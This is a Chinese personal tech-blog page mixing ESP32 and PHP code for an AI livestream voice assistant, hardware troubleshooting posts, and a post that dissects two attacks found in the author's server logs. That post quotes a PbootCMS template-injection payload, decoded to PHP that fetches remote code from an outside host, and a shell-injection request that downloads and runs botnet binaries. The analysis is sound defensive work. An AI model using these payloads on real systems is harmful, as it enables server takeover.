                vTaskDelay(pdMS_TO_TICKS(3000));
                self->StartMessageFetching();
            } else {
                ESP_LOGW(TAG, "WiFi未连接，跳过消息获取启动");
            }
            
            vTaskDelete(NULL);
        }, "msg_init", 4096, this, 1, NULL);
    }

    virtual ~CompactWifiBoardLCD() {
        StopMessageFetching();
    }

    virtual AudioCodec* GetAudioCodec() override {
        static NoAudioCodecSimplex audio_codec(
            AUDIO_INPUT_SAMPLE_RATE, AUDIO_OUTPUT_SAMPLE_RATE,
            AUDIO_I2S_SPK_GPIO_BCLK, AUDIO_I2S_SPK_GPIO_LRCK, AUDIO_I2S_SPK_GPIO_DOUT, I2S_STD_SLOT_RIGHT, 
            AUDIO_I2S_MIC_GPIO_SCK, AUDIO_I2S_MIC_GPIO_WS, AUDIO_I2S_MIC_GPIO_DIN, I2S_STD_SLOT_LEFT);
        return &audio_codec;
    }

    virtual Display* GetDisplay() override {
        return display_;
    }

    virtual Backlight* GetBacklight() override {
        if (DISPLAY_BACKLIGHT_PIN != GPIO_NUM_NC) {
            static PwmBacklight backlight(DISPLAY_BACKLIGHT_PIN, DISPLAY_BACKLIGHT_OUTPUT_INVERT);
            return &backlight;
        }
        return nullptr;
    }
};

DECLARE_BOARD(CompactWifiBoardLCD);

<?php
// 基础配置
header('Content-Type: application/json; charset=utf-8');
header('X-XSS-Protection: 1; mode=block');

// 数据库配置
define('DB_FILE', __DIR__ . '/ai_messages.db');

// 工具函数：获取客户端IP
function getClientIP() {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '未知IP';
    return trim(explode(',', $ip)[0]);
}

// 工具函数：输入清洗
function cleanStr($str) {
    if (!is_string($str)) $str = (string)$str;
    $str = trim($str);
    $str = htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    return $str;
}

// 工具函数：格式化消息为嵌入式支持的字符串
function formatToDeviceStr($messageData) {
    $username = cleanStr($messageData['username'] ?? '未知用户');
    $content = cleanStr($messageData['content'] ?? '');
    $msgType = cleanStr($messageData['type'] ?? 'comment');
    
    switch ($msgType) {
        case 'gift':
            $giftName = cleanStr($messageData['giftName'] ?? '礼物');
            $giftCount = is_numeric($messageData['giftCount'] ?? 1) ? (int)$messageData['giftCount'] : 1;
            $countStr = $giftCount > 1 ? "{$giftCount}个" : "1个";
            return "{$username}送给主播{$countStr}{$giftName}";
        
        case 'enter':
            return "{$username}来了";
        
        case 'like':
            return "{$username}给主播点赞";
        
        case 'comment':
        default:
            return "{$username}说：{$content}";
    }
}

// 初始化数据库
function initDatabase() {
    $db = new SQLite3(DB_FILE);
    
    // 创建消息队列表
    $db->exec("
        CREATE TABLE IF NOT EXISTS message_queue (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            message_text TEXT NOT NULL,
            message_type VARCHAR(20) DEFAULT 'comment',
            username VARCHAR(100),
            raw_data TEXT,
            client_ip VARCHAR(50),
            status VARCHAR(20) DEFAULT 'pending',
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
            processing_at DATETIME,
            processed_at DATETIME
        )
    ");
    
    // 创建索引提升查询性能
    $db->exec("CREATE INDEX IF NOT EXISTS idx_status ON message_queue(status)");
    $db->exec("CREATE INDEX IF NOT EXISTS idx_created_at ON message_queue(created_at)");
    
    $db->close();
}

// 添加消息到队列
function addMessageToQueue($messageData, $deviceStr, $clientIP) {
    $db = new SQLite3(DB_FILE);
    
    $stmt = $db->prepare("
        INSERT INTO message_queue (message_text, message_type, username, raw_data, client_ip, status)
        VALUES (:message_text, :message_type, :username, :raw_data, :client_ip, 'pending')
    ");
    
    $stmt->bindValue(':message_text', $deviceStr, SQLITE3_TEXT);
    $stmt->bindValue(':message_type', $messageData['type'] ?? 'comment', SQLITE3_TEXT);
    $stmt->bindValue(':username', $messageData['username'] ?? '未知用户', SQLITE3_TEXT);
    $stmt->bindValue(':raw_data', json_encode($messageData, JSON_UNESCAPED_UNICODE), SQLITE3_TEXT);
    $stmt->bindValue(':client_ip', $clientIP, SQLITE3_TEXT);
    
    $result = $stmt->execute();
    $insertId = $db->lastInsertRowID();
    
    $db->close();
    
    return $insertId;
}

// 获取下一条待处理消息
function getNextMessage() {
    $db = new SQLite3(DB_FILE);
    
    // 查询最早的待处理消息
    $stmt = $db->prepare("
        SELECT id, message_text, message_type, username, created_at
        FROM message_queue
        WHERE status = 'pending'
        ORDER BY created_at ASC
        LIMIT 1
    ");
    
    $result = $stmt->execute();
    $message = $result->fetchArray(SQLITE3_ASSOC);
    
    // 如果找到消息，标记为处理中
    if ($message) {
        $updateStmt = $db->prepare("
            UPDATE message_queue
            SET status = 'processing', processing_at = CURRENT_TIMESTAMP
            WHERE id = :id
        ");
        $updateStmt->bindValue(':id', $message['id'], SQLITE3_INTEGER);
        $updateStmt->execute();
    }
    
    $db->close();
    
    return $message;
}

// 获取随机话题
function getRandomTopic() {
    $topics = [
        "今天天气真不错呀",
        "大家有什么想聊的吗",
        "有没有人在看直播呢",
        "来个朋友陪我聊聊天吧",
        "好无聊啊，有人吗",
        "今天直播间好安静呀",
        "大家都在忙什么呢",
        "有没有新朋友来玩呀",
        "老朋友们在哪里",
        "来点互动好不好",
        "发个666让我看看你们",
        "有人想听我唱歌吗",
        "今天想和大家分享点什么",
        "直播间的氛围好像有点冷清",
        "来来来，活跃一下气氛",
        "有什么想问我的吗",
        "今天过得怎么样呀",
        "周末有什么计划吗",
        "最近有什么好玩的事情",
        "给大家讲个笑话好不好"
    ];
    
    $randomIndex = array_rand($topics);
    return $topics[$randomIndex];
}

// 标记消息为已完成并删除
function markMessageComplete($messageId) {
    $db = new SQLite3(DB_FILE);
    
    // 先标记为已完成（可选，用于统计）
    $stmt = $db->prepare("
        UPDATE message_queue
        SET status = 'completed', processed_at = CURRENT_TIMESTAMP
        WHERE id = :id
    ");
    $stmt->bindValue(':id', $messageId, SQLITE3_INTEGER);
    $stmt->execute();
    
    // 删除已完成的消息
    $deleteStmt = $db->prepare("DELETE FROM message_queue WHERE id = :id");
    $deleteStmt->bindValue(':id', $messageId, SQLITE3_INTEGER);
    $deleteStmt->execute();
    
    $db->close();
    
    return true;
}

// 获取队列统计信息
function getQueueStats() {
    $db = new SQLite3(DB_FILE);
    
    $result = $db->query("
        SELECT 
            COUNT(*) as total,
            SUM(CASE WHEN status = 'pending' THEN 1 ELSE 0 END) as pending,
            SUM(CASE WHEN status = 'processing' THEN 1 ELSE 0 END) as processing
        FROM message_queue
    ");
    
    $stats = $result->fetchArray(SQLITE3_ASSOC);
    $db->close();
    
    return $stats;
}

// 清理长时间卡住的处理中消息（防止死锁）
function cleanupStuckMessages($timeoutMinutes = 5) {
    $db = new SQLite3(DB_FILE);
    
    $stmt = $db->prepare("
        UPDATE message_queue
        SET status = 'pending', processing_at = NULL
        WHERE status = 'processing'
        AND datetime(processing_at, '+' || :timeout || ' minutes') < datetime('now')
    ");
    $stmt->bindValue(':timeout', $timeoutMinutes, SQLITE3_INTEGER);
    $stmt->execute();
    
    $affected = $db->changes();
    $db->close();
    
    return $affected;
}

// ---------------------- 主逻辑 ----------------------

// 初始化数据库
initDatabase();

$clientIP = getClientIP();
$action = $_GET['action'] ?? '';

// 处理不同的action
switch ($action) {
    case 'add':
        // 添加新消息到队列（POST请求）
        if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
            http_response_code(405);
            echo json_encode(['status' => 'error', 'message' => '仅支持POST请求']);
            exit;
        }
        
        $rawPost = file_get_contents('php://input');
        if (empty($rawPost)) {
            http_response_code(400);
            echo json_encode(['status' => 'error', 'message' => 'POST数据为空']);
            exit;
        }
        
        $postData = json_decode($rawPost, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            $postData = ['type' => 'comment', 'content' => $rawPost, 'username' => '未知用户'];
        }
        
        $deviceStr = formatToDeviceStr($postData);
        $insertId = addMessageToQueue($postData, $deviceStr, $clientIP);
        
        $stats = getQueueStats();
        
        echo json_encode([
            'status' => 'success',
            'message' => '消息已加入队列',
            'data' => [
                'queue_id' => $insertId,
                'message' => $deviceStr,
                'queue_stats' => $stats
            ]
        ]);
        break;
    
    case 'next':
        // AI设备请求下一条消息（GET请求）
        cleanupStuckMessages(5); // 清理超过5分钟未完成的消息
        
        $message = getNextMessage();
        
        if ($message) {
            // 返回格式：消息ID|消息内容
            // 这样ESP32可以解析出ID用于后续完成通知
            header('Content-Type: text/plain; charset=utf-8');
            echo $message['id'] . '|' . $message['message_text'];
        } else {
            // 队列为空，返回随机话题
            $randomTopic = getRandomTopic();
            
            // 使用特殊ID=0表示这是随机话题，不需要完成通知
            header('Content-Type: text/plain; charset=utf-8');
            echo '0|' . $randomTopic;
            
            // 记录日志（可选）
            error_log("[AI Queue] 队列为空，返回随机话题: " . $randomTopic);
        }
        break;
    
    case 'complete':
        // AI设备完成处理，删除消息（POST或GET请求）
        $messageId = $_GET['id'] ?? $_POST['id'] ?? null;
        
        if (!$messageId || !is_numeric($messageId)) {
            http_response_code(400);
            echo json_encode(['status' => 'error', 'message' => '缺少消息ID']);
            exit;
        }
        
        markMessageComplete((int)$messageId);
        
        $stats = getQueueStats();
        
        echo json_encode([
            'status' => 'success',
            'message' => '消息已标记完成并删除',
            'data' => [
                'completed_id' => (int)$messageId,
                'queue_stats' => $stats
            ]
        ]);
        break;
    
    case 'stats':
        // 获取队列统计信息
        $stats = getQueueStats();
        
        echo json_encode([
            'status' => 'success',
            'data' => $stats
        ]);
        break;
    
    case 'clear':
        // 清空队列（危险操作，可选）
        $db = new SQLite3(DB_FILE);
        $db->exec("DELETE FROM message_queue");
        $affected = $db->changes();
        $db->close();
        
        echo json_encode([
            'status' => 'success',
            'message' => "已清空队列，删除 {$affected} 条消息"
        ]);
        break;
    
    default:
        http_response_code(400);
        echo json_encode([
            'status' => 'error',
            'message' => '无效的action参数',
            'available_actions' => [
                'add' => '添加消息到队列（POST）',
                'next' => 'AI获取下一条消息（GET）',
                'complete' => '标记消息完成（GET/POST，需要id参数）',
                'stats' => '获取队列统计（GET）',
                'clear' => '清空队列（GET）'
            ]
        ]);
}
?>

spine导出json以及再导入photoshop插件

Fri, 11 Jul 2025 12:35:16 +0800

此插件需要Photoshop CS2或更高版本此工具可以将Spine骨骼动画数据导入到Photoshop中保持原有的图层位置和大小关系

使用步骤：

1. 准备好导出的JSON文件

2. 准备好对应的图片文件夹

3. 点击开始导入按钮

包内包含ps导出到spine插件

[MyText]隐藏的内容显示的位置[/MyText]

编译的小智AI没有声音

Fri, 14 Mar 2025 17:11:55 +0800

我用的NS4168芯片，这款芯片查看了ns4168数据手册，左声道ctrl管脚要接0.9v~1.15v右声道要接1.5v~vdd，我的电路板用了一个10k电阻接的5v，所以使用的右声道，但是我把I2S_STD_SLOT_LEFT改成I2S_STD_SLOT_RIGHT后程序却没法获取录音了，后来经过一通摸索找到了原因

class NoAudioCodecSimplex : public NoAudioCodec {
public:
    NoAudioCodecSimplex(int input_sample_rate, int output_sample_rate, gpio_num_t spk_bclk, gpio_num_t spk_ws, gpio_num_t spk_dout, gpio_num_t mic_sck, gpio_num_t mic_ws, gpio_num_t mic_din);
    NoAudioCodecSimplex(int input_sample_rate, int output_sample_rate, gpio_num_t spk_bclk, gpio_num_t spk_ws, gpio_num_t spk_dout, i2s_std_slot_mask_t spk_slot_mask, gpio_num_t mic_sck, gpio_num_t mic_ws, gpio_num_t mic_din, i2s_std_slot_mask_t mic_slot_mask);
};

gpio_num_t spk_dou就是定义使用哪个声道的

    virtual AudioCodec* GetAudioCodec() override {

        static NoAudioCodecSimplex audio_codec(AUDIO_INPUT_SAMPLE_RATE, AUDIO_OUTPUT_SAMPLE_RATE,
            AUDIO_I2S_SPK_GPIO_BCLK, AUDIO_I2S_SPK_GPIO_LRCK, AUDIO_I2S_SPK_GPIO_DOUT,I2S_STD_SLOT_RIGHT, AUDIO_I2S_MIC_GPIO_SCK, AUDIO_I2S_MIC_GPIO_WS, AUDIO_I2S_MIC_GPIO_DIN,I2S_STD_SLOT_LEFT);

        return &audio_codec;
    }

红色部分就是你要修改的声道

ILI9488使用lvgl9.x屏幕颜色不正常

Fri, 14 Mar 2025 15:50:56 +0800

可能的原因：

颜色模式不匹配

ILI9488 SPI 接口 仅支持 RGB666 (18bit)，而 LVGL 默认是 RGB565 (16bit)。
你需要将 RGB565 转换成 RGB666。

MADCTL（内存访问控制）设置不正确

ILI9488 的 MADCTL 控制颜色格式和方向，错误设置可能导致颜色错乱。

LVGL 颜色格式（Color Depth）设置错误

在 lv_conf.h 里，LV_COLOR_DEPTH 可能不匹配 ILI9488。

我的最终解决办法是将

.swap_bytes = 0,

     const lvgl_port_display_cfg_t disp_cfg = {  
         .io_handle = lcd_io_handle,  
         .panel_handle = lcd_handle,  
         .control_handle = NULL,
         .double_buffer = false,
         .trans_size = 0,
         .buffer_size = EXAMPLE_LCD_H_RES * 10,
         .hres = EXAMPLE_LCD_H_RES,
         .vres = EXAMPLE_LCD_V_RES,
       
         .monochrome = false,
         .color_format = LV_COLOR_FORMAT_RGB565,
         .rotation = {
            .swap_xy = false,
            .mirror_x = false,
            .mirror_y = false,
        },
         .flags = {
             .buff_dma = 1,
             .buff_spiram = 0,
             .sw_rotate = 0,
             .swap_bytes = 0,//改成0
             .full_refresh = 0,
             .direct_mode = 0,
         },
     };
     lvgl_disp = lvgl_port_add_disp(&disp_cfg);

记录一次web攻击

Wed, 07 Aug 2024 09:20:36 +0800

查看后台日志发现一段恶意攻击---》134.122.184.11 - - [07/Aug/2024:08:21:09 +0800] ＂GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dC9vdGUudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=\x22)))}{/pboot:if}/../../?p=14 HTTP/1.1＂ 301 162 ＂http://n666888.com＂＂Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36＂

这段内容看起来是一段服务器访问日志的记录。其中包含了访问者的 IP 地址（134.122.184.11）、访问时间（2024 年 8 月 7 日 8 时 21 分 09 秒）、请求方式（GET）、请求的路径（/ {...} /../../?p=14）、HTTP 协议版本（1.1）、返回的状态码（301）、传输的数据量（162 字节）、来源网址（n666888）以及用户代理（Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36）。

需要注意的是，请求路径中的一些代码部分看起来像是恶意或可疑的操作，可能存在安全风险。例如，其中的“file_put_contents”和“base64_decode”等函数的使用方式不太正常。

请求行

方法: GET
URL: /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dD9vdGUudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=\x22)))}{/pboot:if}/../../?p=14

这部分URL经过精心构造，尝试绕过安全过滤和检查。它使用了{pboot:if(...)}{/pboot:if}这样的结构，可能是在尝试利用某个CMS（如PbootCMS）的模板注入漏洞。
\x22是十六进制表示的引号（"），用于绕过某些检测机制。
file_put_contents和base64_decode函数被用于在服务器上写入文件（temp.php），这个文件的内容是经过Base64编码的PHP代码。
解码后的PHP代码大致如下：

<?php  
file_put_contents('./core/basic/fun.php', file_get_contents('http://d.sogouad.vip/txt/ote.txt'));  
echo 'temp11888';  
unlink(__FILE__);

这段代码尝试从远程URL（http://d.sogouad.vip/txt/ote.txt）下载内容并保存到服务器上的./core/basic/fun.php文件，然后删除自身（unlink(__FILE__);）。

HTTP版本: HTTP/1.1

状态行

状态码: 301

这通常表示请求的资源已永久移动到新位置，但在这种情况下，它可能是服务器对非法请求的默认响应，或者是服务器配置导致的重定向。

响应大小: 162 字节
引用页: http://n666888.com

用户代理

用户代理字符串: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

这是一个模拟Chrome浏览器的用户代理字符串，用于伪装正常用户的浏览器访问。

第二个攻击-----》185.224.128.83 - - [07/Aug/2024:08:27:24 +0800] ＂GET /shell?cd+/tmp;rm+earm+earm5+earm7;nohup+wget+http:/\x5C/154.216.20.232/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\x5C/154.216.20.232/earm5;chmod+777+earm5;./earm5+jaws;nohup+wget+http:/\x5C/154.216.20.232/earm;chmod+777+earm;./earm+jaws HTTP/1.1＂ 301 162 ＂-＂＂KrebsOnSecurity＂

这条日志记录了一个尝试通过HTTP GET请求在服务器上执行恶意命令的尝试。然而，需要注意的是，HTTP GET请求本身并不支持在服务器上执行命令；这里的尝试似乎是对Web服务器的一个误解或滥用。不过，从URL的结构和内容来看，攻击者显然在尝试利用某个Web应用程序的漏洞来执行一系列恶意操作。

以下是对URL中尝试执行的操作的解析：

尝试删除文件：cd+/tmp;rm+earm+earm5+earm7

这部分尝试切换到/tmp目录（但cd命令后应有空格分隔，这里可能是格式错误或尝试绕过检测），然后删除名为earm、earm5、earm7的文件。但由于+通常不被shell用作命令分隔符（而是空格或;），且URL编码可能不正确（\x5C是反斜杠\的十六进制表示，但在URL中应直接写为/），因此这部分可能不会按预期执行。

下载并执行恶意文件：

nohup+wget+http:/\x5C/154.216.20.232/earm7;chmod+777+earm7;./earm7+jaws
这部分尝试使用wget命令从http://154.216.20.232/（注意URL中的\x5C应该是/的误用）下载名为earm7的文件，然后将其权限更改为777（即允许所有用户读写执行），最后尝试执行该文件并传递参数jaws。
类似的操作还尝试下载并执行earm5和earm文件。

状态码和响应大小：

状态码301表示请求的资源已永久移动到新位置，这通常不是由执行恶意命令导致的，而更可能是服务器配置或Web应用程序的默认响应。
响应大小162字节可能表示服务器返回的响应体的大小，而不是实际执行的命令的结果。

引用页和用户代理：

引用页为"-"，表示没有提供引用页信息。
用户代理为KrebsOnSecurity，这很可能是一个伪造的用户代理字符串，用于伪装身份或绕过某些检测机制。实际上，KrebsOnSecurity是一个知名的网络安全博客，其名称被滥用在这里。

GAMESH

Spine 2D飘带计算工具|骨骼跟随工具

Spine 骨骼跟随工具介绍与使用教程

一、工具介绍

1. 工具定位

2. 核心功能

3. 界面布局

二、使用教程

前置准备

步骤 1：加载 Spine JSON 文件

步骤 2：创建并编辑骨骼链

步骤 3：配置物理参数

步骤 4：选择动画并预览

步骤 5：模拟并导出

编译玩客云可以写入emmc启动的openwrt固件

✅ 方案 （强烈推荐，成功率最高）

一、最终目录结构（你做完后应该长这样）

二、eMMC 分区方案（必须这样来）

1️⃣ Linux / OpenWrt 下重新分区（示例）

三、核心文件（我直接给你内容）

1️⃣ emmc_autoscript.cmd（源码）

2️⃣ 生成 emmc_autoscript（关键一步）

3️⃣ uEnv_emmc.ini（可选，但强烈建议）

四、拷贝文件到 eMMC FAT 分区

五、U-Boot 下验证（非常重要）

先按照这个教程执行一次，确保需要的框架存在，https://post.smzdm.com/p/aoxw5x9n/

Unity插件Animancer Pro v8 8.2.2 游戏动作动画系统编辑器

一、基础信息

二、核心功能（Lite 与 Pro 通用）

三、Animancer Pro 专属功能

四、学习与支持资源

五、升级政策（Upgrade Policy）

【中文】 TyFlow粒子系统 v.1.029 中文版3dmax2018-2024

极米投影仪无法连接samba服务

问题根源分析

一、先明确 “map to guest = bad user” 的具体作用

二、为什么删除它，极米就能访问了？

三、删除后有什么影响？是否需要补其他配置？

让小智AI接入直播间作为语音助手

⚡ 优势

spine导出json以及再导入photoshop插件

编译的小智AI没有声音

ILI9488使用lvgl9.x屏幕颜色不正常

可能的原因：

记录一次web攻击

请求行

状态行

用户代理

✅ 方案（强烈推荐，成功率最高）